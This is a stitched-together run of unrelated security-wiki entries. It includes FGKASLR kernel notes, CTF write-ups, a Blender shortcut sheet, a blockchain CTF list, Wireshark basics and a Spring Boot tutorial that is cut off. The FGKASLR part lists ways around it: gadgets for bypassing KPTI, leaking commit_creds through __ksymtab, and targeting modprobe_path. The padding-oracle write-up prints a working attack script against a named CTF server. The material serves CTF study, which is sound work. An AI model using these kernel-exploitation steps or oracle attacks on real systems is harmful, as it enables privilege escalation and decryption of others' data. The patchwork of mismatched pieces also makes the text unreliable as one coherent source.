编译后的 vmlinux 保留了所有的节区头(Section Headers),以便于知道每个函数的地址范围。同时,FGKASLR 还有一个重定位地址的扩展表。通过这两组信息,内核在解压缩后就可以乱序排列函数。
最后的 binary 的第一个段包含了一个合并节(由若干个函数合并而成)、以及若干其它单独构成一个节的函数。
### FGKASLR加载阶段
在解压内核后,会首先检查保留的符号信息,然后寻找需要随机化的 `.text.*` 节区。其中,第一个合并的节区(`.text`)会被跳过,不会被随机化。后面节区的地址会被随机化,但仍然会与 `.text` 节区相邻。同时,FGKASLR 修改了已有的用于更新重定位地址的代码,不仅考虑了相对于加载地址的偏移,还考虑了函数节区要被移动到的位置。
为了隐藏新的内存布局,/proc/kallsyms 中符号使用随机的顺序来排列。在 v4 版本之前,该文件中的符号按照字母序排列。
通过分析代码,我们可以知道,在 `layout_randomized_image` 函数中计算了最终会随机化的节区,存储在 sections 里。
```c
/*
* now we need to walk through the section headers and collect the
* sizes of the .text sections to be randomized.
*/
for (i = 0; i < shnum; i++) {
s = &sechdrs[i];
sname = secstrings + s->sh_name;
if (s->sh_type == SHT_SYMTAB) {
/* only one symtab per image */
if (symtab)
error("Unexpected duplicate symtab");
symtab = malloc(s->sh_size);
if (!symtab)
error("Failed to allocate space for symtab");
memcpy(symtab, output + s->sh_offset, s->sh_size);
num_syms = s->sh_size / sizeof(*symtab);
continue;
}
if (s->sh_type == SHT_STRTAB && i != ehdr->e_shstrndx) {
if (strtab)
error("Unexpected duplicate strtab");
strtab = malloc(s->sh_size);
if (!strtab)
error("Failed to allocate space for strtab");
memcpy(strtab, output + s->sh_offset, s->sh_size);
}
if (!strcmp(sname, ".text")) {
if (text)
error("Unexpected duplicate .text section");
text = s;
continue;
}
if (!strcmp(sname, ".data..percpu")) {
/* get start addr for later */
percpu = s;
continue;
}
if (!(s->sh_flags & SHF_ALLOC) ||
!(s->sh_flags & SHF_EXECINSTR) ||
!(strstarts(sname, ".text")))
continue;
sections[num_sections] = s;
num_sections++;
}
sections[num_sections] = NULL;
sections_size = num_sections;
```
可以看到,只有同时满足以下条件的节区才会参与随机化
- 节区名以 .text 开头
- section flags 中包含`SHF_ALLOC`
- section flags 中包含`SHF_EXECINSTR`
因此,通过以下命令,我们可以知道
- __ksymtab 不会参与随机化
- .data 不会参与随机化
```
> readelf --section-headers -W vmlinux| grep -vE " .text|AX"
...
[36106] .rodata PROGBITS ffffffff81c00000 e1e000 382241 00 WA 0 0 4096
[36107] .pci_fixup PROGBITS ffffffff81f82250 11a0250 002ed0 00 A 0 0 16
[36108] .tracedata PROGBITS ffffffff81f85120 11a3120 000078 00 A 0 0 1
[36109] __ksymtab PROGBITS ffffffff81f85198 11a3198 00b424 00 A 0 0 4
[36110] __ksymtab_gpl PROGBITS ffffffff81f905bc 11ae5bc 00dab8 00 A 0 0 4
[36111] __ksymtab_strings PROGBITS ffffffff81f9e074 11bc074 027a82 01 AMS 0 0 1
[36112] __init_rodata PROGBITS ffffffff81fc5b00 11e3b00 000230 00 A 0 0 32
[36113] __param PROGBITS ffffffff81fc5d30 11e3d30 002990 00 A 0 0 8
[36114] __modver PROGBITS ffffffff81fc86c0 11e66c0 000078 00 A 0 0 8
[36115] __ex_table PROGBITS ffffffff81fc8740 11e6738 001c50 00 A 0 0 4
[36116] .notes NOTE ffffffff81fca390 11e8388 0001ec 00 A 0 0 4
[36117] .data PROGBITS ffffffff82000000 11ea000 215d80 00 WA 0 0 8192
[36118] __bug_table PROGBITS ffffffff82215d80 13ffd80 01134c 00 WA 0 0 1
[36119] .vvar PROGBITS ffffffff82228000 14110d0 001000 00 WA 0 0 16
[36120] .data..percpu PROGBITS 0000000000000000 1413000 02e000 00 WA 0 0 4096
[36122] .rela.init.text RELA 0000000000000000 149eec0 000180 18 I 36137 36121 8
[36124] .init.data PROGBITS ffffffff822b6000 14a0000 18d1a0 00 WA 0 0 8192
[36125] .x86_cpu_dev.init PROGBITS ffffffff824431a0 162d1a0 000028 00 A 0 0 8
[36126] .parainstructions PROGBITS ffffffff824431c8 162d1c8 01e04c 00 A 0 0 8
[36127] .altinstructions PROGBITS ffffffff82461218 164b214 003a9a 00 A 0 0 1
[36129] .iommu_table PROGBITS ffffffff82465bb0 164fbb0 0000a0 00 A 0 0 8
[36130] .apicdrivers PROGBITS ffffffff82465c50 164fc50 000038 00 WA 0 0 8
[36132] .smp_locks PROGBITS ffffffff82468000 1651610 007000 00 A 0 0 4
[36133] .data_nosave PROGBITS ffffffff8246f000 1658610 001000 00 WA 0 0 4
[36134] .bss NOBITS ffffffff82470000 165a000 590000 00 WA 0 0 4096
[36135] .brk NOBITS ffffffff82a00000 1659610 02c000 00 WA 0 0 1
[36136] .init.scratch PROGBITS ffffffff82c00000 1659620 400000 00 WA 0 0 32
[36137] .symtab SYMTAB 0000000000000000 1a59620 30abd8 18 36138 111196 8
[36138] .strtab STRTAB 0000000000000000 1d641f8 219a29 00 0 0 1
[36139] .shstrtab STRTAB 0000000000000000 1f7dc21 0ed17b 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
l (large), p (processor specific)
```
### FGKASLR启动阶段
在启动阶段,FGKASLR
- 需要解析内核的 ELF 文件来获取需要随机化的节区。
- 会调用随机数生成器来确定每个节区需要存储的地址,并进行布局。
- 会将原有解压的内核拷贝到另外一个地方,以便于避免内存破坏。
- 会增加内核需要重定位的次数。
- 需要检查每一个需要重定位的地址是否位于随机化的节区,如果是的话,需要调整一个新的偏移。
- 会重新排列那些需要按照地址排序的数据表。
在一个现代化的系统上,启动一个测试的 VM,大概花费了 1s。
### FGKASLR运行阶段
运行阶段的开销其实主要取决于具体的负载。不过由于原先相邻的函数可能被随机化被放在不同的地址,所以相对而言,整体性能应该会有所降低。
### FGKASLR内存开销
在启动阶段,FGKASLR 需要较多的堆内存。因此,FGKASLR 可能不适用于具有较小内存的系统上。这些内存会在内核解压后被释放。
### FGKASLR程序大小影响
FGKASLR 会引入额外的节区头部信息,因此会增加 vmlinux 文件的大小。在标准的配置下,vmlinux 的大小会增加 3%。压缩后的镜像大小大概会增加 15%。
### FGKASLR的开启
如果想要开启内核的 FGKASLR,你需要开启 `CONFIG_FG_KASLR=y` 选项。
FGKASLR 也支持模块的随机化,尽管 FGKASLR 只支持 x86_64 架构下的内核,但是该特性可以支持其它架构下的模块。我们可以使用 `CONFIG_MODULE_FG_KASLR=y` 来开启这个特性。
### FGKASLR的关闭
通过在命令行使用 `nokaslr` 关闭 KASLR 也同时会关闭 FGKASLR。当然,我们可以单独使用 `nofgkaslr` 来关闭 FGKASLR。
### FGKASLR的缺点
根据 FGKASLR 的特点,我们可以发现它具有以下缺陷
- 函数粒度随机化,如果函数内的某个地址知道了,函数内部的相对地址也就知道了。
- `.text` 节区不参与函数随机化。因此,一旦知道其中的某个地址,就可以获取该节区所有的地址。有意思的是系统调用的入口代码都在该节区内,主要是因为这些代码都是汇编代码。此外,该节区具有以下一些不错的 gadget
- swapgs_restore_regs_and_return_to_usermode,该部分的代码可以帮助我们绕过 KPTI 防护
- memcpy 内存拷贝
- sync_regs,可以把 RAX 放到 RDI 中
- `__ksymtab` 相对于内核镜像的偏移是固定的。因此,如果我们可以泄露数据,那就可以泄露出其它的符号地址,如prepare_kernel_cred、commit_creds。具体方式如下
- 基于内核镜像地址获取 __ksymtab 地址
- 基于 __ksymtab 获取对应符号记录项的地址
- 根据符号记录项中具体的内容来获取对应符号的地址
- data 节区相对于内核镜像的偏移也是固定的。因此在获取了内核镜像的基地址后,就可以计算出数据区数据的地址。这个节区有一些可以重点关注的数据
- modprobe_path
### __ksymtab 格式介绍
__ksymtab 中每个记录项的名字的格式为 ` __ksymtab_func_name`,以 `prepare_kernel_cred` 为例,对应的记录项的名字为` __ksymtab_prepare_kernel_cred`,因此,我们可以直接通过该名字在 IDA 里找到对应的位置,如下
```assembly
__ksymtab:FFFFFFFF81F8D4FC __ksymtab_prepare_kernel_cred dd 0FF5392F4h
__ksymtab:FFFFFFFF81F8D500 dd 134B2h
__ksymtab:FFFFFFFF81F8D504 dd 1783Eh
```
`__ksymtab` 每一项的结构为
```c
struct kernel_symbol {
int value_offset;
int name_offset;
int namespace_offset;
};
```
第一个表项记录了重定位表项相对于当前地址的偏移。那么,`prepare_kernel_cred` 的地址应该为 `0xFFFFFFFF81F8D4FC-(2**32-0xFF5392F4)=0xffffffff814c67f0`。实际上也确实如此。
```assembly
.text.prepare_kernel_cred:FFFFFFFF814C67F0 public prepare_kernel_cred
.text.prepare_kernel_cred:FFFFFFFF814C67F0 prepare_kernel_cred proc near ; CODE XREF: sub_FFFFFFFF814A5ED5+52↑p
```
|
sec-knowleage
|
# 秒拨IP对抗
## 参考资料
\[1] 黑产IP的识别与对抗——秒拨IP,[永安在线反欺诈](https://www.zhihu.com/people/threathunter),https://zhuanlan.zhihu.com/p/68528854
|
sec-knowleage
|
# DeepDive (forensics, 200p)
In the challenge we get a [pcap](DeepDive.pcap).
Once we analyse it with NetworkMiner we are able to extract some files.
One is interesting because it's supposed to be a picture, and in fact it's a [binary](mausoleum.exe).
It's a pyinstaller exe so we can unpack it via https://github.com/countercept/python-exe-unpacker
For some reason we were unable to decompile the [pyc file](mausoleum.pyc) but there is no real need for that, since the flag is just a string there: `TMCTF{the_s3cr3t_i$_unE@rth3d}`
|
sec-knowleage
|
---
title: Blender
date: 2022-11-23 16:23:31.700590
background: bg-[#e48040]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 187 keyboard shortcuts found in Blender
---
Keyboard Shortcuts {.cols-2}
------------------
### Universal
Shortcut | Action
---|---
`Esc` | Cancels Blender functions without changes
`Space` | Open the toolbox
`Tab` | Start or quit edit mode
`F1` | Loads a Blender file, changes the window to a file window
`Shift` `F1` | Appends parts from other files, or loads as library data
`F2` | Writes a Blender file, changes the window to a file window
`Shift` `F2` | Exports the scene as a DXF file
`Ctrl` `F2` | Exports the scene as a VRML1 file
`F3` | Writes a picture, if a picture has been rendered, and the file format is as indicated in the display buttons
`Ctrl` `F3` | Saves a screen dump of the active window
`Ctrl` `Shift` `F3` | Saves a screen dump of the whole Blender screen
`F4` | Displays the logic context
`F5` | Displays the shading context, light, material, or world sub-contexts
`F6` | Displays the shading context and texture sub-context
`F7` | Displays the object context
`F8` | Displays the shading context and world sub-context
`F9` | Displays the editing context
`F10` | Displays the scene context
`F11` | Hides or shows the render window
`F12` | Starts the rendering from the active camera
`Left` | Go to the previous frame
`Shift` `Left` | Go to the first frame
`Right` | Go to the next frame
`Shift` `Right` | Go to the last frame
`Up` | Go forward 10 frames
`Down` | Go back 10 frames
`Alt` `A` | Change the current Blender window to animation playback mode, the cursor changes to a counter
`Alt` `Shift` `A` | Change the current window and all 3D windows to animation playback mode
`I` | Insert key menu, this menu differs from window to window
`J` | Toggle the render buffers
`Ctrl` `O` | Opens the last saved file
`Q` | Quit Blender
`Ctrl` `Alt` `T` | Timer menu, this menu offers access to information about drawing speed
`Ctrl` `U` | Save user defaults, current project settings are written to the default file that will be loaded every time you start Blender
`Ctrl` `W` | Write file without opening a file window
`Alt` `W` | Write videoscape file
`Ctrl` `X` | Erase everything except the render buffer, the default scene is reloaded
`Ctrl` `Y` | Redo
`Ctrl` `Z` | Undo
`Ctrl` `Shift` `Z` | Redo
{.shortcuts}
### Object Mode
Shortcut | Action
---|---
`Home` | All objects in the visible layer are displayed completely, centered in the window
`PgUp` | Select the next object key, if more than one is selected the selection is shifted up cyclically
`Shift` `PgUp` | Add to selection the next object key
`PgDn` | Select the previous object key, if more than one is selected the selection is shifted up cyclically
`Shift` `PgDn` | Adds to selection the previous object key
<code>\`</code> | Select all layers
`Shift` <code>\`</code> | Revert to the previous layer setting
`Tab` | Start or stop edit mode
`A` | Selects or deselects all
`Ctrl` `A` | Apply size and rotation
`Ctrl` `Shift` `A` | If the active object is automatically duplicated, brings up a menu for actually creating the objects
`Shift` `A` | Brings up the add menu, the toolbox items that start with ADD
`B` | Border select, draws a rectangle with the left mouse to select objects
`Shift` `B` | Render border, this only works in camera view mode
`C` | Center view, the position of the 3D cursor becomes the new center of the 3D window
`Alt` `C` | Convert menu, depending on the active object a popup menu is displayed enabling you to convert certain types of ObData
`Ctrl` `C` | Copy menu, this menu copies information from the active object to selected objects
`Shift` `C` | Center zero view, the 3D cursor is set to zero and the view is changed so all objects can be displayed
`D` | Display draw mode menu
`Shift` `D` | Add duplicate, the selected objects are duplicated
`Alt` `D` | Add linked duplicate, linked duplicates of the selected objects are created
`Ctrl` `D` | Draw the texture image as wire
`Alt` `E` | Start or stop edit mode
`F` | If selected object is a mash, toggles face select mode on or off
`Ctrl` `F` | Sort faces, the faces of the active mesh object are sorted based on the current view in the 3D window
`G` | Grab mode, or translation mode
`Alt` `G` | Clears translations, given in grab mode
`Shift` `G` | Group selection
`I` | Insert object key, a keyposition is inserted in the current frame of all selected objects
`Ctrl` `J` | Join objects, all selected objects of the same type are added to the active object
`K` | Show keys, the draw key option is turned on for all selected objects
`Shift` `K` | Display popup menu for showing and selecting all keys
`L` | Makes selected object local, makes library linked objects local for the current scene
`Ctrl` `L` | Link selected, links some of the active object data to all selected objects
`Shift` `L` | Select linked, selected all objects somehow linked to the active object
`M` | Move selected objects to another layer
`Ctrl` `M` | Mirror menu, it is possible to mirror an object along the X, Y, or Z axis
`N` | Number panel, the location, rotation, and scaling of the active object are displayed and can be modified
`Alt` `O` | Clear origin, the origin is erased for all child objects, which causes them to move ot the exact location of the parent objects
`Shift` `O` | If the selected object is a mesh, toggles the subsurf on or off
`Ctrl` `P` | Make selected objects the children of the active object
`Alt` `P` | Clears parent relation, user is asked if they wish to keep or clear parent-induced transforms
`R` | Rotate mode, works on selected objects
`Alt` `R` | Clears rotation, the X, Y, and Z rotations of selected objects are set to zero
`S` | Size mode or scaling mode, works on selected objects
`Alt` `S` | Clears size, the X, Y, and Z dimensions of selected objects are set to 1
`Shift` `S` | Opens the snap menu
`T` | Texture space mode, the position of dimensions of the texture space for the selected objects can be changed in the same manner for grab and size mode
`Ctrl` `T` | Makes selected objects track the active object
`Alt` `T` | Clears old style track, constraint track is removed as all constrains are
`U` | Makes object single user, the inverse operation of link
`V` | Switches in and out of vertex paint mode
`Alt` `V` | Object image aspect, this hotkey sets the X and Y dimensions of the selected objects in relation to the dimensions of the image texture they have
`W` | Opens the object booleans menu
`X` | Deletes selected objects
`Z` | Toggles solid mode on or off
`Shift` `Z` | Toggles shaded mode on or off
`Alt` `Z` | Toggles textured mode on or off
{.shortcuts}
### Edit Mode - General
Shortcut | Action
---|---
`Tab` | Start or stop edit mode
`Alt` `E` | Start or stop edit mode (alternative)
`Ctrl` `Tab` | Switches between vertex select, edge select, and face select modes
`A` | Select or unselect all
`B` `B` | Circle select
`Ctrl` `H` | With vertices selected, this creates a hook object
`N` | Number panel, simpler than the object mode one
`O` | Switch in and out of proportional editing
`Shift` `O` | Toggles between smooth and sharp proportional editing
`P` | Separate, you can choose to make a new object with all selected vertices, edges, faces, and curves
`Ctrl` `P` | Make vertex parent
`Ctrl` `S` | Shear, in edit mode this operation enables you to make selected forms slant
`U` | Undo
`W` | Displays specials popup menu
`Shift` `W` | Warp, selected vertices can be bent into curves with this option
{.shortcuts}
### Edit Mode - Mesh
Shortcut | Action
---|---
`Ctrl` `+` | Adds to selection all vertices connected by an edge to an already selected vertex
`Ctrl` `-` | Removes from selection all vertices of the outer ring of selected vertices
`C` | If using curve deformation, toggles the curve cyclic mode on or off
`E` | Extrude selected
`Shift` `E` | Crease subsurf edge
`Ctrl` `E` | Mark LSCM seam
`F` | Make edge or face
`Shift` `F` | Fill selected, all selected vertices that are bound by edges and form a closed polygon are filled with triangular faces
`Alt` `F` | Beauty fill, edges of all selected triangular faces are switched so equally sized faces are formed
`Ctrl` `F` | Flip faces, selected triangular faces are paired and common edge of each pair swapped
`H` | Hide selected, all selected vertices and faces are hidden
`Shift` `H` | Hide not selected, all non-selected vertices and faces are hidden
`Alt` `H` | Reveal, all hidden vertices and faces are drawn again
`Alt` `J` | Join faces, selected triangular faces are joined in pairs and transformed to quads
`K` | Knife tool menu
`L` | Select linked
`Shift` `L` | Deselect linked
`Ctrl` `L` | Select linked selected
`M` | Mirror, opens a popup asking for the axis to mirror
`Alt` `M` | Merges selected vertices as barycentrum or at cursor depending on selection made on popup
`Ctrl` `N` | Calculate normals outside
`Ctrl` `Shift` `N` | Calculate normals inside
`Alt` `S` | Scales each vertex in the direction of its local normal
`Ctrl` `T` | Make triangles, all selected faces are converted to triangles
`U` | Undo
`Shift` `U` | Redo
`Alt` `U` | Undo menu
`W` | Special menu
`X` | Erase selected
`Y` | Split, this command splits the selected part of a mesh without deleting faces
{.shortcuts}
### Edit Mode - Curve
Shortcut | Action
---|---
`C` | Set the selected curves to cyclic or turn cyclic off
`E` | Extrude curve
`F` | Add segment, a segment is added between two selected vertices at the end of two curves
`H` | Toggle handle align or free
`Shift` `H` | Set handle to auto
`Ctrl` `H` | Calculate handles
`L` | Select linked
`Shift` `L` | Deselect linked
`M` | Mirror selected control points exactly as for vertices in a mesh
`T` | Tilt mode, specify an extra axis rotation for each vertex in a 3D curve
`Alt` `T` | Clear tilt
`V` | Vector handle
`W` | The special menu for curves appears
`X` | Erase selected
{.shortcuts}
### Edit Mode - Surface
Shortcut | Action
---|---
`C` | Toggle cyclic menu
`E` | Extrude selected
`F` | Add segment, a segment is added between two selected vertices at the end of two curves
`L` | Select linked
`Shift` `L` | Deselect linked
`M` | Mirror selected control points exactly as for vertices in a mesh
`Shift` `R` | Select row, starting with the last selected vertex
`W` | The special menu for surfaces appears
`X` | Erase selected
{.shortcuts}
### Edit Mode - Font
Shortcut | Action
---|---
`Right` | Move text cursor one position forward
`Shift` `Right` | Move text cursor to the end of the line
`Left` | Move text cursor one position backwards
`Shift` `Left` | Move text cursor to the start of the line
`Down` | Move text cursor one line forward
`Shift` `Down` | Move text cursor to the end of the text
`Up` | Move text cursor one line back
`Shift` `Up` | Move text cursor to the beginning of the text
`Alt` `U` | Reload original data
`Alt` `V` | Paste text
{.shortcuts}
### VertexPaint
Shortcut | Action
---|---
`Shift` `K` | All vertex colors are erased, they are changed to the current drawing color
`U` | Undo, press twice redos the undone
`W` | Shared vertexcol, the colors of all faces that share vertices are blended
{.shortcuts}
### UV Editor
Shortcut | Action
---|---
`E` | LSCM unwrapping, launches on the faces visible in the UV editor
`P` | Pin selected vertices, they will stay in place on the UV editor when executing an LSCM unwrap
`Alt` `P` | Un-pin selected vertices
{.shortcuts}
### FaceSelect
Shortcut | Action
---|---
`Tab` | Switches to edit mode
`F` | With multiple, co-planar faces selected, this will merge them into one FGon so long as they remain co-planar
`L` | Select linked UVs
`R` | Calls a menu allowing to rotate the UV coordinates or the vertex col
`U` | Calls the UV Calculation menu
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Blender](https://download.blender.org/documentation/BlenderHotkeyReference.pdf) _(download.blender.org)_
|
sec-knowleage
|
# Whistleblower (crypto)
In the task we get a [pcap](capture_corrupted.pcap) and link do a webpage.
The pcap contains interaction between the user and the webpage.
The webpage lets you to input some text and then submit this to the server.
Before the data is sent, a random 128bit key is generated on the client side using Web Crypto API, and sent to the server with some randomly assigned ID using `/key` endpoint.
Next the data are encrypted using this key with AES-CBC and data with IV are submitted to the server via `/data` endpoint.
In the PCAP we can find the ciphertex:
```json
{"ciphertext":"680a2f38d93aaf86e562ab01bb6f7ef9eaf50a2e393bb2262d5d0f32541a7543bf6361220aa7cc1ad1a94efd6ed2fa99aa80c26379316199e70b6c7fbb2d9f81272fce8abf1edf8facce85a8dc89a9eb9d16ca22845545e55460d99c8fe98e383c25b9acc108ea88c7f6cf6666ccc4f56db3886ce0524b185c58aea95e59659c","keyid":"e845799dc6bb731000221f5e20587814"}
```
but the key is not there:
```json
{"key":"corrupted_missing_data_not_here!","id":"e845799dc6bb731000221f5e20587814"}
```
We have only ciphertext and the ID of the key.
If we try to use the webpage we can notice that we get HTTP-500 response from the `/key` endpoint with message:
```json
{
"message": "key store in read-only maintenance mode",
"status": "error"
}
```
So it seems we can't store a new key on the server.
But in the pcap we can see the user could do it, so his key is on the server.
Also when sending data we get HTTP-404 error from `/data` endpoint with message:
```json
{
"message": "key not found",
"status": "error"
}
```
So there is some verification of the keyid we pass.
Finally if we try to submit the same data we got from pcap, we get `message stored` response.
But if we try sending random ciphertext with existing keyid, we get `decryption error`.
There is no special signature added to the data, so decryption failure can come only from incorrect padding.
And this means we have a classic `padding oracle` here (we've described the idea multiple times already in our writeups, so won't go into details here), so we can run:
```python
import requests
from crypto_commons.symmetrical.symmetrical import oracle_padding_recovery
s = requests.session()
def oracle(ct):
url = "http://web.midnightsunctf.se/data"
data = {"ciphertext": ct, "keyid": "e845799dc6bb731000221f5e20587814"}
r = s.post(url, json=data)
return r.status_code == 200 # return True if padding was correct
def main():
ct = '680a2f38d93aaf86e562ab01bb6f7ef9eaf50a2e393bb2262d5d0f32541a7543bf6361220aa7cc1ad1a94efd6ed2fa99aa80c26379316199e70b6c7fbb2d9f81272fce8abf1edf8facce85a8dc89a9eb9d16ca22845545e55460d99c8fe98e383c25b9acc108ea88c7f6cf6666ccc4f56db3886ce0524b185c58aea95e59659c'
oracle_padding_recovery(ct, oracle)
main()
```
And recover full plaintext: `I have discovered a secret flag. It is: midnight{p4dding_padd1ngt0n_th3_0r4cl3} Please do not tell anyone`
|
sec-knowleage
|
# Blockchain Security Challenges
## Game of Ethereum Smart Contract Security
- [https://ethernaut.openzeppelin.com/](https://ethernaut.openzeppelin.com/)
+ WP 链接 [https://hitcxy.com/2019/ethernaut/](https://hitcxy.com/2019/ethernaut/)
- [https://capturetheether.com/challenges/](https://capturetheether.com/challenges/)
+ WP 链接 [WP1 传送门](https://www.anquanke.com/post/id/153375) [WP2 传送门](https://www.anquanke.com/post/id/154104)
- [https://blockchain-ctf.securityinnovation.com/#/](https://blockchain-ctf.securityinnovation.com/#/)
+ WP 链接 [https://hitcxy.com/2020/securityinnovation/](https://hitcxy.com/2020/securityinnovation/)
- [https://www.damnvulnerabledefi.xyz/](https://www.damnvulnerabledefi.xyz/)
+ WP 链接 [https://blog.syang.xyz/2021/03/damn-vulnerable-defi-writeup/](https://blog.syang.xyz/2021/03/damn-vulnerable-defi-writeup/)
## Blockchain Security CTF Competitions
- [Paradigm CTF](https://ctf.paradigm.xyz/) - 2021
+ [Official Challenges and Solutions](https://github.com/paradigm-operations/paradigm-ctf-2021)
## Blockchain Security Challenges in CTF
!!! note
注:CTF 中区块链的题目并不是很多,所以搜集了绝大多数的题目,包括智能合约与公有链相关题目,并按照年份附上题目链接及其 WP 链接,题目列表不完整会随时更新,同一年中比赛名称不区分顺序,如果有多篇 WP,也不区分顺序。相关题目可到 [ctf-challenges/blockchain](https://github.com/ctf-wiki/ctf-challenges/tree/master/blockchain) 仓库查找或在 [ChainFlag](https://chainflag.org/) 靶场在线练习。
### Ethereum Smart Contract
- RealWorld - 2021
+ 题目名称 Re: Montagy
+ 题目名称 EasyDefi
- *ctf - 2021
+ 题目名称 StArNDBOX
- 高校战“疫”网络安全分享赛 - 2020
+ 题目名称 OwnerMoney
- RCTF - 2020
+ 题目名称 roiscoin
- 第五空间 - 2020
+ 题目名称 CreativityPlus
+ 题目名称 SafeDelegatecall
- 第一届钓鱼城杯 - 2020
+ 题目名称 StrictMathematician
- QWB - 2020
+ 题目名称 IPFS
+ 题目名称 EasyAssembly
+ 题目名称 EasyFake
+ 题目名称 EasySandbox
+ 题目名称 EthGaMe (EGM)
+ 题目名称 EBK
- Balsn - 2020
+ 题目名称 Election
+ 题目名称 IdleGame
- 华为云安全 - 2020
+ 题目名称 ethenc
- 华为鲲鹏计算 - 2020
+ 题目名称 boxgame
- 华为鸿蒙 - 2020
+ 题目名称 ContractGame
- RealWorld - 2019
+ 题目名称 Montagy
- Balsn - 2019
+ 题目名称 Bank
+ 题目名称 Creativity
- CISCN - 2019
+ 题目名称 Daysbank
- QWB - 2019
+ 题目名称 babybank
+ 题目名称 babybet
- ByteCTF - 2019
+ 题目名称 bet
+ 题目名称 hf
- N1CTF - 2019
+ 题目名称 h4ck
- 数字经济 - 2019
+ 题目名称 cow
+ 题目名称 rise
+ 题目名称 jojo
- RoarCTF - 2019
+ 题目名称 CoinFlip
- Hackergame - 2019
+ 题目名称 JCBank
- XCTF_final - 2019
+ 题目名称 Happy_DOuble_Eleven
- D^3CTF - 2019
+ 题目名称 bet2loss_v2
- De1CTF - 2019
+ 题目名称 Easy EOS
- RealWorld - 2018
+ 题目名称 Acoraida Monica
- HCTF - 2018
+ 题目名称 ethre
+ 题目名称 bet2loss
+ 题目名称 ez2win
- BCTF - 2018
+ 题目名称 Fake3d
+ 题目名称 EOSGAME
- WCTF - 2018
+ 题目名称 BelluminarBank
- LCTF - 2018
+ 题目名称 easy little trick
+ 题目名称 ggbank
- *ctf - 2018
+ 题目名称 web-smart_contract
- dctf - 2017
+ 题目名称 spock-lizard-alpha
+ 题目名称 spock-lizard-beta
+ 题目名称 spock-lizard-omega
### Public Blockchain
- RealWorld - 2021
+ 题目名称 [Billboard](https://github.com/iczc/billboard)
- DDCTF - 2018
+ 题目名称 [mini blockchain](https://github.com/garzon/my_ctf_challenges_source_code/tree/master/DDCTF_2018/mini_blockchain)
|
sec-knowleage
|
# Wireshark
## Wireshark 常用功能介绍
### 显示过滤器
显示过滤器可以用很多不同的参数来作为匹配标准,比如IP地址、协议、端口号、某些协议头部的参数。此外,用户也用一些条件工具和串联运算符创建出更加复杂的表达式。用户可以将不同的表达式组合起来,让软件显示的数据包范围更加精确。在数据包列表面板中显示的所有数据包都可以用数据包中包含的字段进行过滤。
```
[not] Expression [and|or] [not] Expression
```
经常要用到各种运算符
| 运算符 | 说明 |
| ------ | --------- |
| == | 等于 |
| != | 不等于 |
| > | 大于 |
| < | 小于 |
| >= | 大于等于 |
| <= | 小于等于 |
| 与 | and , && |
| 或 | or , \|\| |
| 非 | ! , not |
#### 配置方法
1. 借助于过滤器窗口
2. 借助于工具条的输入栏
3. 将数据包某个属性值指定为过滤条件
!!! note
复杂的过滤命令可以直接通过第三种方式得到过滤语法
### 信息统计
#### Protocol History(协议分级)
这个窗口实现的是捕捉文件包含的所有协议的树状分支
包含的字段
| 名称 | 含义 |
| ------------- | ---------------------------------------------- |
| Protocol: | 协议名称 |
| % Packets: | 含有该协议的包数目在捕捉文件所有包所占的比例 |
| Packets: | 含有该协议的包的数目 |
| Bytes: | 含有该协议的字节数 |
| Mbit/s: | 抓包时间内的协议带宽 |
| End Packets: | 该协议中的包的数目(作为文件中的最高协议层) |
| End Bytes: | 该协议中的字节数(作为文件中的最高协议层) |
| End Mbit/s: | 抓包时间内的协议带宽(作为文件中的最高协议层) |
这一功能可以为分析数据包的主要方向提供依据
#### Conversation(对话)
发生于一特定端点的IP间的所有流量.
!!! note
- 查看收发大量数据流的IP地址。如果是你知道的服务器(你记得服务器的地址或地址范围),那问题就解决了;但也有可能只是某台设备正在扫描网络,或仅是一台产生过多数据的PC。
- 查看扫描模式(scan pattern)。这可能是一次正常的扫描,如SNMP软件发送ping报文以查找网络,但通常扫描都不是好事情
#### EndPoints(端点)
这一工具列出了Wireshark发现的所有endpoints上的统计信息
#### HTTP
- Packet Counter
**参考**
- http://blog.jobbole.com/73482/
- http://www.vuln.cn/2103
### 信息统计 进阶版
根据总体信息迅速把握流量包总体特征,搞清楚 **做什么?**
TODO
##
|
sec-knowleage
|
# Web开发
---
## Thymeleaf
静态资源访问
在我们开发 Web 应用的时候,需要引用大量的 js、css、图片等静态资源。Spring Boot 默认提供静态资源目录位置需置于 classpath 下,目录名需符合如下规则:
- /static
- /public
- /resources
- /META-INF/resources
举例:我们可以在 src/main/resources/ 目录下创建 static,在该位置放置一个图片文件。启动程序后,尝试访问 http://localhost:8080/D.jpg。如能显示图片,配置成功。
新建一个 Spring Boot 应用,在 pom.xml 中加入所需的模板引擎模块,比如使用 thymeleaf 的话,只需要引入下面依赖:
```xml
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
```
创建一个 Spring MVC 的传统 Controller,用来处理根路径的请求,将解决渲染到 index 页面上,具体实现如下
```java
@Controller
public class HelloController {
@GetMapping("/")
public String index(ModelMap map) {
map.addAttribute("host", "http://www.abc.com");
return "index";
}
}
```
简要说明:
- 在渲染到 index 页面的时候,通过 ModelMap,往页面中增加一个 host 参数,其值为 http://www.abc.com
- return 的值 index 代表了要使用的模板页面名称,默认情况下,它将对应到 src/main/resources/templates / 目录下的 index.html 模板页面
根据上一步要映射的模板,去模板路径 src/main/resources/templates 下新建模板文件 index.html,内容如下:
```html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8" />
<title></title>
</head>
<body>
<h1 th:text="${host}">Hello World</h1>
</body>
</html>
```
在该页面的 body 中,包含了一个带有 Thymeleaf 属性的 h1 标签,该便签内容将绑定 host 参数的值。
由于 Thymeleaf 通过属性绑定的特性。该模板页面同其他模板引擎不同,直接通过浏览器打开 html 页面,它是可以正常运作的,将会直接展现 Hello World 标题。这有利于开发页面的时候可以在非启动环境下验证应前端样式的正确性。
如果启动程序后,访问http://localhost:8080/
**Thymeleaf 的配置参数**
如有需要修改默认配置的时候,只需复制下面要修改的属性到 application.properties 中,并修改成需要的值:
```conf
# Enable template caching.
spring.thymeleaf.cache=true
# Check that the templates location exists.
spring.thymeleaf.check-template-location=true
# Content-Type value.
spring.thymeleaf.content-type=text/html
# Enable MVC Thymeleaf view resolution.
spring.thymeleaf.enabled=true
# Template encoding.
